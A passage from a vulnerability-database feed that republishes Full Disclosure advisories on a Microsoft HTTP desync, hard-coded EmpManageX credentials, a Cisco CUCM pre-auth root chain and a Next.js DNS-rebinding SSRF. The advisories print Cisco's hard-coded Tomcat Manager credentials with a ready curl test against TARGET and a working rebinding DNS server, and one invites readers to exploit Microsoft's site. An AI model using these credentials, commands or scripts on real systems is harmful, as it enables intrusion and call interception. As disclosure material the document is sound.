"lang": "en",
"type": "finder",
"value": "shed riot"
}
],
"descriptions": [
{
"lang": "en",
"value": "# Summary\n\nI reported the issue to the Microsoft Security Response Center twice:\n\n* VULN-165381, MSRC case 102964\n* VULN-165876, MSRC case 103259\n\nIn both cases, they do not appear to have even looked at the PoCs, and so\nhave failed to adequately investigate before reaching a decision.\n\n\n# Vulnerability\n\nCWE-444: HTTP Request/Response Smuggling\n\nThe observed behaviour was consistent with CL.0 HTTP desync within the\nrequest-processing chain.\n\n\n# Impact\n\nHTTP desync can cause attacker-controlled bytes to be interpreted as\nthe beginning of another request on a shared back-end connection.\n\nDepending on routing and connection reuse, this vulnerability class\ncan potentially be used to:\n\n* alter or prefix another user\u0027s request;\n* redirect users to attacker-controlled content;\n* deliver reflected or stored client-side payloads;\n* poison application or intermediary responses; or\n* disclose information associated with another request or user.\n\nI deliberately limited testing to a non-destructive proof of concept.\nI did not attempt to deliver an active payload to unrelated Microsoft\nusers or extract their data.\n\nTesting a desync issue against production infrastructure can affect\nthird-party requests. A fully weaponised test would therefore have\ncreated an unacceptable risk to legitimate users.\n\n\n# Proof of concept\n\nThe supplied proof of concept used two independent clients.\n\nThe attacker client submitted a crafted request containing bytes\nafter the declared request body.\n\nThe victim client then made an ordinary request.\n\nThe attacker-controlled content was subsequently observed in the\nvictim-side transaction.\n\nThe result demonstrated cross-request interference, rather than an\nunusual response confined to the attacker\u0027s own connection.\n\nThe second submission also included screenshots, as MSRC couldn\u0027t\nbe arsed to run the PoCs themselves.\n\n\n# Timeline\n\n26 October 2025\n\nI submitted the initial report as VULN-165381 and uploaded separate\nexploit and victim scripts.\n\n27 October 2025\n\nMSRC opened case 102964.\n\n29 October 2025\n\nMSRC requested a video and asked which internal component was\naffected.\n\n30 October 2025\n\nI explained that a video would only show the supplied scripts running.\nMicrosoft would need to trace the crafted request through its own\napplication stack to identify where it was split.\n\nI also asked whether MSRC had run the scripts.\n\n31 October 2025\n\nMSRC closed the case as \"not a vulnerability\".\n\n4 November 2025\n\nI submitted the issue again as VULN-165876, including the scripts and\nscreenshots showing the attacker, victim and successful result.\n\n5 November 2025\n\nMSRC opened case 103259.\n\n10 November 2025\n\nMSRC stated that it required a proof of concept \"demonstrating an\nexploit\", despite the scripts already having been supplied. The\nresponses indicate that the proof of concept had not been run.\n\n18 November 2025\n\nI asked whether MSRC had run and validated the proof of concept.\n\n19 November 2025\n\nMicrosoft closed the second case, stating:\n\n\"You have not submitted sufficient evidence of HTTP desync. You have\nonly provided 2 shell scripts and no other information confirming that\nthe exploit works.\"\n\nThe second submission also contained screenshots demonstrating the\nattacker, victim and successful result.\n\n20 November 2025\n\nI challenged the assessment and pointed out that the proof of concept\ndisplayed the issue clearly, and that both reports appeared to have\nbeen closed without MSRC running the PoC.\n\nMSRC maintained its position and requested a copy of the disclosure\ndraft for technical review.\n\n\n# Resolution\n\nMicrosoft closed both reports and stated that it would not track the\nissue further. At no point do they appear to have run any of the\nsupplied PoC scripts.\n\nThe vuln still exists, and isn\u0027t difficult to find for someone\nwilling to scan the site. Fill your boots!\n\n\n# References\n\n* MSRC submission VULN-165381, case 102964\n* MSRC submission VULN-165876, case 103259\n* CWE-444: HTTP Request/Response Smuggling\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-444",
"description": "CWE-444",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-07T13:20:20Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/34"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/34"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/34"
],
"discovery": "EXTERNAL"
},
"title": "CL.0 desync in www.microsoft.com",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0018",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/34",
"automated": true,
"contentSha256": "83e21e0436aedf0f26b610ca7610d2996cc8ba9f3a945e9e3bd958728660b536",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/34",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-07-24T09:21:16Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:20Z",
"dateUpdated": "2026-09-07T13:20:20Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0018"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0017
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-07 13:20
VLAI
EPSS
VEX
Title
[NotCVE-2026-0012] EmpManageX Hardcoded Administrative Credentials in Login API Allow Full Access to Employee Records
Summary
----------------------------------------------------------------------------
NotCVE Advisory — NotCVE-2026-0012
----------------------------------------------------------------------------
[-] Summary:
kamalpanse18 EmpManageX, a Flask-based employee management application,
ships hard-coded administrative credentials in its authentication logic.
The username admin and the plaintext password admin123 are module-level
constants in app.py, compared directly against the values submitted to the
/api/login handler. An attacker who can reach the listener authenticates as
the sole administrator and obtains full read and write control of every
employee record. The credentials are not a guessable secret: the project's
own README.md and QUICK_START.md state them openly. As shipped the server
binds to 127.0.0.1 only, so the default exposure is local; a deployer who
binds an external interface makes the same defect remotely reachable.
CVSS:3.1 7.7 (AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
[-] Affected:
kamalpanse18 EmpManageX, all versions (app.py).
The repository has a single commit, f4de83b, dated 2025-12-31, and no
tagged releases. No fixed version is currently verified.
[-] Technical Description:
ADMIN_USERNAME and ADMIN_PASSWORD are assigned at lines 17-18 of app.py and
compared directly against the submitted values in the /api/login handler.
The credential pair is a source-level constant with no configuration
mechanism behind it: app.py contains no use of os.environ or os.getenv, no
configuration file, no first-run setup step and no password-change
endpoint. The only supported way to alter the administrator password is to
edit the source and restart the process, and that change is lost whenever
the deployment is refreshed from the upstream repository. The same value is
therefore present in every unmodified deployment, and because README.md and
QUICK_START.md state it openly it is a published constant rather than a
guessable secret.
A successful call to /api/login sets session['logged_in'], which is the
only condition tested by the login_required decorator. No further
authorisation check is performed, so the caller obtains the entire
protected surface: POST /api/employee (create), GET /api/employees and
GET /api/employee/<int:emp_id> (read all stored employee data),
PUT /api/employee/<int:emp_id> (modify) and
DELETE /api/employee/<int:emp_id> (delete). On a match the handler sets
session['user_id'], session['username'] and session['logged_in'] and
returns a signed session cookie marked permanent with a 24-hour lifetime,
which the caller can replay against the protected endpoints.
The entry point is app.run(debug=True, port=5000), which passes no host
argument and therefore binds the Werkzeug development server to 127.0.0.1
only; README.md, SETUP_GUIDE.md and QUICK_START.md all direct the user to
http://127.0.0.1:5000. In the configuration as shipped the endpoint is
reachable only from the local host, which is what the CVSS vector above
reflects. A deployer who binds 0.0.0.0 or places the application behind a
reverse proxy makes the same defect remotely reachable.
SETUP_GUIDE.md carries a "Security Recommendations for Production" section
suggesting that the credentials be read from environment variables, but
that guidance is not implemented in the shipped app.py, and the example it
gives retains admin/admin123 as the fallback default.
The step-by-step attack path and the full write-up are published at the
advisory URL below.
Weaknesses:
CWE-798: Use of Hard-coded Credentials
CWE-1392: Use of Default Credentials
CWE-256: Plaintext Storage of a Password
CAPEC-70: Try Common or Default Usernames and Passwords
[-] Timeline:
[29/07/2026] - Report received and NotCVE ID reserved.
[20/08/2026] - Published as NotCVE-2026-0012.
[-] Credit:
Discovered by netspacer1124.
[-] Full Details and Updates:
https://notcve.org/notcve/NotCVE-2026-0012
[-] References:
https://github.com/kamalpanse18/EmpManageX
https://raw.githubusercontent.com/kamalpanse18/EmpManageX/main/app.py
https://raw.githubusercontent.com/kamalpanse18/EmpManageX/main/README.md
https://raw.githubusercontent.com/kamalpanse18/EmpManageX/main/QUICK_START.md
https://raw.githubusercontent.com/kamalpanse18/EmpManageX/main/SETUP_GUIDE.md
https://github.com/kamalpanse18/EmpManageX/commits/main/app.py
[-] About NotCVE:
NotCVE (https://notcve.org) assigns public, timestamped NotCVE IDs to
vulnerabilities not acknowledged by vendors. Vendor will not assign a CVE?
Request a NotCVE: https://notcve.org/form/ · Contributors:
https://notcve.org/hall/
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
15 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | EmpManageX Hardcoded Administrative |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "EmpManageX Hardcoded Administrative",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "advisories"
}
],
"descriptions": [
{
"lang": "en",
"value": "----------------------------------------------------------------------------\nNotCVE Advisory \u2014 NotCVE-2026-0012\n----------------------------------------------------------------------------\n\n[-] Summary:\nkamalpanse18 EmpManageX, a Flask-based employee management application,\nships hard-coded administrative credentials in its authentication logic.\nThe username admin and the plaintext password admin123 are module-level\nconstants in app.py, compared directly against the values submitted to the\n/api/login handler. An attacker who can reach the listener authenticates as\nthe sole administrator and obtains full read and write control of every\nemployee record. The credentials are not a guessable secret: the project\u0027s\nown README.md and QUICK_START.md state them openly. As shipped the server\nbinds to 127.0.0.1 only, so the default exposure is local; a deployer who\nbinds an external interface makes the same defect remotely reachable.\nCVSS:3.1 7.7 (AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\n[-] Affected:\nkamalpanse18 EmpManageX, all versions (app.py).\nThe repository has a single commit, f4de83b, dated 2025-12-31, and no\ntagged releases. No fixed version is currently verified.\n\n[-] Technical Description:\nADMIN_USERNAME and ADMIN_PASSWORD are assigned at lines 17-18 of app.py and\ncompared directly against the submitted values in the /api/login handler.\nThe credential pair is a source-level constant with no configuration\nmechanism behind it: app.py contains no use of os.environ or os.getenv, no\nconfiguration file, no first-run setup step and no password-change\nendpoint. The only supported way to alter the administrator password is to\nedit the source and restart the process, and that change is lost whenever\nthe deployment is refreshed from the upstream repository. The same value is\ntherefore present in every unmodified deployment, and because README.md and\nQUICK_START.md state it openly it is a published constant rather than a\nguessable secret.\n\nA successful call to /api/login sets session[\u0027logged_in\u0027], which is the\nonly condition tested by the login_required decorator. No further\nauthorisation check is performed, so the caller obtains the entire\nprotected surface: POST /api/employee (create), GET /api/employees and\nGET /api/employee/\u003cint:emp_id\u003e (read all stored employee data),\nPUT /api/employee/\u003cint:emp_id\u003e (modify) and\nDELETE /api/employee/\u003cint:emp_id\u003e (delete). On a match the handler sets\nsession[\u0027user_id\u0027], session[\u0027username\u0027] and session[\u0027logged_in\u0027] and\nreturns a signed session cookie marked permanent with a 24-hour lifetime,\nwhich the caller can replay against the protected endpoints.\n\nThe entry point is app.run(debug=True, port=5000), which passes no host\nargument and therefore binds the Werkzeug development server to 127.0.0.1\nonly; README.md, SETUP_GUIDE.md and QUICK_START.md all direct the user to\nhttp://127.0.0.1:5000. In the configuration as shipped the endpoint is\nreachable only from the local host, which is what the CVSS vector above\nreflects. A deployer who binds 0.0.0.0 or places the application behind a\nreverse proxy makes the same defect remotely reachable.\n\nSETUP_GUIDE.md carries a \"Security Recommendations for Production\" section\nsuggesting that the credentials be read from environment variables, but\nthat guidance is not implemented in the shipped app.py, and the example it\ngives retains admin/admin123 as the fallback default.\n\nThe step-by-step attack path and the full write-up are published at the\nadvisory URL below.\n\nWeaknesses:\nCWE-798: Use of Hard-coded Credentials\nCWE-1392: Use of Default Credentials\nCWE-256: Plaintext Storage of a Password\nCAPEC-70: Try Common or Default Usernames and Passwords\n\n[-] Timeline:\n[29/07/2026] - Report received and NotCVE ID reserved.\n[20/08/2026] - Published as NotCVE-2026-0012.\n\n[-] Credit:\nDiscovered by netspacer1124.\n\n[-] Full Details and Updates:\nhttps://notcve.org/notcve/NotCVE-2026-0012\n\n[-] References:\nhttps://github.com/kamalpanse18/EmpManageX\nhttps://raw.githubusercontent.com/kamalpanse18/EmpManageX/main/app.py\nhttps://raw.githubusercontent.com/kamalpanse18/EmpManageX/main/README.md\nhttps://raw.githubusercontent.com/kamalpanse18/EmpManageX/main/QUICK_START.md\nhttps://raw.githubusercontent.com/kamalpanse18/EmpManageX/main/SETUP_GUIDE.md\nhttps://github.com/kamalpanse18/EmpManageX/commits/main/app.py\n\n[-] About NotCVE:\nNotCVE (https://notcve.org) assigns public, timestamped NotCVE IDs to\nvulnerabilities not acknowledged by vendors. Vendor will not assign a CVE?\nRequest a NotCVE: https://notcve.org/form/ \u00b7 Contributors:\nhttps://notcve.org/hall/\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1392",
"description": "CWE-1392",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-256",
"description": "CWE-256",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-798",
"description": "CWE-798",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-07T13:20:20Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/113"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/113"
},
{
"url": "http://127.0.0.1:5000"
},
{
"url": "https://github.com/kamalpanse18/EmpManageX"
},
{
"url": "https://github.com/kamalpanse18/EmpManageX/commits/main/app.py"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://notcve.org"
},
{
"url": "https://notcve.org/form/"
},
{
"url": "https://notcve.org/hall/"
},
{
"url": "https://notcve.org/notcve/NotCVE-2026-0012"
},
{
"url": "https://raw.githubusercontent.com/kamalpanse18/EmpManageX/main/QUICK_START.md"
},
{
"url": "https://raw.githubusercontent.com/kamalpanse18/EmpManageX/main/README.md"
},
{
"url": "https://raw.githubusercontent.com/kamalpanse18/EmpManageX/main/SETUP_GUIDE.md"
},
{
"url": "https://raw.githubusercontent.com/kamalpanse18/EmpManageX/main/app.py"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/113"
],
"discovery": "EXTERNAL"
},
"title": "[NotCVE-2026-0012] EmpManageX Hardcoded Administrative Credentials in Login API Allow Full Access to Employee Records",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0017",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/113",
"automated": true,
"contentSha256": "c95c4d5678b820a7ef5f1419342a923a1af431905e7d094b5c6553d19da8dda2",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/113",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-21T10:27:24Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:20Z",
"dateUpdated": "2026-09-07T13:20:20Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0017"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0016
Vulnerability from gna-1988 – Published: 2026-09-07 09:21 – Updated: 2026-09-07 09:21
VLAI
EPSS
VEX
Title
Silent;Call — Pre-Authentication Remote Root in Cisco CUCM 15.x (SKYLINE-2026-001/002/003)
Summary
## Advisory Information
- Advisory IDs: SKYLINE-2026-001, SKYLINE-2026-002, SKYLINE-2026-003
- Title: Pre-Authentication Remote Root via Tomcat Manager Header Injection + Hardcoded Credentials
- CVSSv3.1: 10.0 (Critical) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- CWE: CWE-798, CWE-644, CWE-269
- Product: Cisco Unified Communications Manager 15.0.1.12900-234
- Vendor: Cisco Systems, Inc.
- Public Disclosure: 2026-08-04
- Researcher: 0xReadingSteiner (0xReadingSteiner () proton me)
## Summary
A pre-authentication remote code execution chain in Cisco CUCM 15.x
allows an unauthenticated network attacker to achieve root-level access
in three HTTP requests.
The chain exploits:
1. RemoteIpValve misconfiguration — accepts X-Forwarded-For from any
source without internalProxies restriction, allowing IP spoofing
as 127.0.0.1
2. Hardcoded Tomcat Manager credentials — identical on every CUCM 15.x
installation (username: 1mJdd4WKi+ / password: 1ge1AVWsx~), not
configurable by administrators
3. Unrestricted sudo for the tomcat user — passwordless gdb with an
attacker-controlled command file in /tmp, plus three additional
independent root escalation paths (systemctl, PYTHONPATH, LD_PRELOAD)
## Impact
Root access to CUCM grants: interception of all voice communications
via SRTP key extraction, silent activation of built-in CALEA-compliant
lawful intercept wiretapping, access to all voicemail, complete CDR
exfiltration, call routing manipulation, E911 disruption, and lateral
movement into the voice VLAN.
CUCM is deployed in Fortune 500 companies, US federal agencies, the
Department of Defense, hospitals, financial institutions, law
enforcement, and telecommunications providers worldwide.
## Quick Test
curl -sk -H "X-Forwarded-For: 127.0.0.1" \
-u '1mJdd4WKi+:1ge1AVWsx~' \
"https://TARGET:443/manager/text/list";
If the response begins with "OK - Listed applications for virtual
host [localhost]" — the system is vulnerable.
## Vendor Coordination
- 17 CUCM submissions to ZDI — unprocessed
- SSD paused CUCM acquisitions (Cisco won't fix existing reports)
- Cisco PSIRT contacted 2026-08-04 — no response
- MITRE CVE IDs requested (CNA of Last Resort) — pending
This is advisory 1 of 55 identified vulnerabilities in CUCM 15.x.
## References
Full advisory: https://github.com/0xReadingSteiner/Silent-Call
PoC script: https://github.com/0xReadingSteiner/Silent-Call/blob/main/poc.sh
Master index: https://github.com/0xReadingSteiner/cisco-security-research
## Disclosure Statement
This research was conducted independently on commercially available
software in a private laboratory. No proprietary source code, internal
tools, or confidential information was used. Coordination was attempted
through three independent channels before publication.
Additional findings will be published on a rolling basis.
0xReadingSteiner
0xReadingSteiner@proton.mePGP: D5E22255F645A8B935056C278C0958C5D533080A
Sent with [Proton Mail](https://proton.me/mail/home) secure email.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
9 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Silent;Call — Pre-Authentication |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0016 (this record)
- possibly related SKYLINE-2026-001
- possibly related SKYLINE-2026-002
- possibly related SKYLINE-2026-003
{
"containers": {
"cna": {
"affected": [
{
"product": "Silent;Call \u2014 Pre-Authentication",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "0xReadingSteiner via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "## Advisory Information\n\n- Advisory IDs: SKYLINE-2026-001, SKYLINE-2026-002, SKYLINE-2026-003\n- Title: Pre-Authentication Remote Root via Tomcat Manager Header Injection + Hardcoded Credentials\n- CVSSv3.1: 10.0 (Critical) \u2014 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n- CWE: CWE-798, CWE-644, CWE-269\n- Product: Cisco Unified Communications Manager 15.0.1.12900-234\n- Vendor: Cisco Systems, Inc.\n- Public Disclosure: 2026-08-04\n- Researcher: 0xReadingSteiner (0xReadingSteiner () proton me)\n\n## Summary\n\nA pre-authentication remote code execution chain in Cisco CUCM 15.x\nallows an unauthenticated network attacker to achieve root-level access\nin three HTTP requests.\n\nThe chain exploits:\n\n1. RemoteIpValve misconfiguration \u2014 accepts X-Forwarded-For from any\nsource without internalProxies restriction, allowing IP spoofing\nas 127.0.0.1\n\n2. Hardcoded Tomcat Manager credentials \u2014 identical on every CUCM 15.x\ninstallation (username: 1mJdd4WKi+ / password: 1ge1AVWsx~), not\nconfigurable by administrators\n\n3. Unrestricted sudo for the tomcat user \u2014 passwordless gdb with an\nattacker-controlled command file in /tmp, plus three additional\nindependent root escalation paths (systemctl, PYTHONPATH, LD_PRELOAD)\n\n## Impact\n\nRoot access to CUCM grants: interception of all voice communications\nvia SRTP key extraction, silent activation of built-in CALEA-compliant\nlawful intercept wiretapping, access to all voicemail, complete CDR\nexfiltration, call routing manipulation, E911 disruption, and lateral\nmovement into the voice VLAN.\n\nCUCM is deployed in Fortune 500 companies, US federal agencies, the\nDepartment of Defense, hospitals, financial institutions, law\nenforcement, and telecommunications providers worldwide.\n\n## Quick Test\n\ncurl -sk -H \"X-Forwarded-For: 127.0.0.1\" \\\n-u \u00271mJdd4WKi+:1ge1AVWsx~\u0027 \\\n\"https://TARGET:443/manager/text/list\";\n\nIf the response begins with \"OK - Listed applications for virtual\nhost [localhost]\" \u2014 the system is vulnerable.\n\n## Vendor Coordination\n\n- 17 CUCM submissions to ZDI \u2014 unprocessed\n- SSD paused CUCM acquisitions (Cisco won\u0027t fix existing reports)\n- Cisco PSIRT contacted 2026-08-04 \u2014 no response\n- MITRE CVE IDs requested (CNA of Last Resort) \u2014 pending\n\nThis is advisory 1 of 55 identified vulnerabilities in CUCM 15.x.\n\n## References\n\nFull advisory: https://github.com/0xReadingSteiner/Silent-Call\nPoC script: https://github.com/0xReadingSteiner/Silent-Call/blob/main/poc.sh\nMaster index: https://github.com/0xReadingSteiner/cisco-security-research\n\n## Disclosure Statement\n\nThis research was conducted independently on commercially available\nsoftware in a private laboratory. No proprietary source code, internal\ntools, or confidential information was used. Coordination was attempted\nthrough three independent channels before publication.\n\nAdditional findings will be published on a rolling basis.\n\n0xReadingSteiner\n0xReadingSteiner@proton.mePGP: D5E22255F645A8B935056C278C0958C5D533080A\n\nSent with [Proton Mail](https://proton.me/mail/home) secure email.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-269",
"description": "CWE-269",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-644",
"description": "CWE-644",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-798",
"description": "CWE-798",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-07T09:21:50Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/0"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/0"
},
{
"url": "https://TARGET:443/manager/text/list\""
},
{
"url": "https://github.com/0xReadingSteiner/Silent-Call"
},
{
"url": "https://github.com/0xReadingSteiner/Silent-Call/blob/main/poc.sh"
},
{
"url": "https://github.com/0xReadingSteiner/cisco-security-research"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://proton.me/mail/home"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/0"
],
"discovery": "EXTERNAL"
},
"title": "Silent;Call \u2014 Pre-Authentication Remote Root in Cisco CUCM 15.x (SKYLINE-2026-001/002/003)",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "SKYLINE-2026-001",
"type": "possibly_related"
},
{
"destId": "SKYLINE-2026-002",
"type": "possibly_related"
},
{
"destId": "SKYLINE-2026-003",
"type": "possibly_related"
}
],
"vulnId": "GCVE-1988-2026-0016",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/0",
"automated": true,
"contentSha256": "a7cad29433e49b5bfa49c4134ecd3ef9b6f1067f706eae3ecd6d455a1c000656",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/0",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-04T20:35:28Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0016"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T09:21:50Z",
"dateUpdated": "2026-09-07T09:21:50Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0016"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0015
Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-07 06:42
VLAI
EPSS
VEX
Title
Next.js 16.4.0-canary.13 Image Optimizer DNS Rebinding TOCTOU SSRF Still Exists
Summary
Next.js 16.4.0-canary.13 contains a DNS rebinding TOCTOU Server-Side
Request Forgery vulnerability in the Image Optimizer's fetchExternalImage()
functionality.
Next.js attempts to prevent requests to private network resources by
resolving the supplied hostname and checking the resulting addresses using
isPrivateIp():
const records = await lookup(hostname, {
family: 0,
all: true,
hints: ALL,
})
const privateIps = records.map((record) => record.address)
if (privateIps.some((ip) => isPrivateIp(ip))) {
throw new ImageError(400, '"url" parameter is not allowed')
}
After the DNS validation succeeds, the application performs the external
request using the original URL:
const res = await fetch(href, {
signal: AbortSignal.timeout(7_000),
redirect: 'manual',
})
The IP address validated by lookup() is not pinned to the subsequent HTTP
connection. As a result, fetch() can perform another DNS resolution for the
same hostname.
An attacker-controlled DNS server can return a public IP address during the
first resolution, allowing the hostname to pass the private-IP validation,
and then return a private IP address during the subsequent resolution
performed for the HTTP connection.
This causes Next.js to validate one network destination but ultimately
connect to another, bypassing the Image Optimizer's private-network SSRF
protection.
Testing confirms that this vulnerability *still exists in Next.js
16.4.0-canary.13*.
Impact
A remote attacker can bypass the Next.js Image Optimizer's private-IP
protections and cause the application server to issue HTTP requests to
private network resources.
Depending on the deployment environment, this may allow access to internal
APIs, container-network services, RFC1918 addresses, localhost services,
administrative interfaces, or other HTTP services reachable from the
Next.js server.
The demonstrated proof confirms that the server establishes an HTTP
connection to a private address after validating a public DNS response.
Although the Image Optimizer subsequently rejects the returned content
because it is not a valid image, the internal HTTP request has already
occurred.
Proof of Concept
The vulnerability was reproduced using an isolated Docker environment
containing a controlled DNS server, Next.js 16.4.0-canary.13, and a private
HTTP service.
The controlled hostname rebind.test is permitted by the application's image
configuration:
module.exports = {
images: {
remotePatterns: [
{
protocol: 'http',
hostname: 'rebind.test',
pathname: '/**',
},
],
},
}
The controlled DNS server returns a public IP address for the first
A-record lookup and the private Docker-network address for the second
lookup:
const { Packet, UDPServer } = require('dns2')
let addressLookups = 0
const server = new UDPServer((request, send) => {
const response = Packet.createResponseFromRequest(request)
const question = request.questions[0]
if (question.type === Packet.TYPE.A) {
addressLookups++
const address =
addressLookups === 1 ? '93.184.216.34' : '172.30.0.4'
response.answers.push({
name: question.name,
type: Packet.TYPE.A,
class: Packet.CLASS.IN,
address,
ttl: 5,
})
console.log(`A lookup ${addressLookups}: ${address}`)
}
send(response)
})
server.bind(53, '0.0.0.0')
console.log('DNS server listening on UDP 53')
The first lookup returns:
93.184.216.34
The second lookup returns:
172.30.0.4
The private service listens on 172.30.0.4:8080 and records any HTTP request
it receives.
The PoC is executed using:
$ poc.sh
PoC Output
$ poc.sh
Next container command: ["npx","next","start"]
internal-1 | Private listener listening on 0.0.0.0:8080
internal-1 | GET /secret HTTP/1.1
next-1 | ▲ Next.js 16.4.0-canary.13
next-1 | - Local: http://localhost:3000
next-1 | - Network: http://172.30.0.3:3000
next-1 | ✓ Ready in 94ms
next-1 | ✓ Running next.config.js took 16ms
next-1 | ⨯ The requested resource isn't a valid image for
http://rebind.test:8080/secret received null
internal-1 | Host: rebind.test:8080
dns-1 | DNS server listening on UDP 53
dns-1 | A lookup 1: 93.184.216.34
dns-1 | A lookup 2: 172.30.0.4
PoC passed: public validation was followed by an HTTP request to a
private Docker-network address.
The output demonstrates that the first DNS resolution returned the public
IP address 93.184.216.34, which passed the Next.js private-IP validation.
The second DNS resolution returned the private Docker-network address
172.30.0.4.
The private listener then received:
GET /secret HTTP/1.1
Host: rebind.test:8080
This confirms that Next.js validated the hostname using the public DNS
response but subsequently established an HTTP connection to the private
network address.
The following Next.js error does not invalidate the SSRF:
The requested resource isn't a valid image for
http://rebind.test:8080/secret received null
The response is intentionally plain text rather than an image. The internal
HTTP request occurs before the Image Optimizer rejects the response, as
demonstrated by the private listener receiving GET /secret.
Therefore, the PoC confirms that the private-IP restriction can be bypassed
using DNS rebinding.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
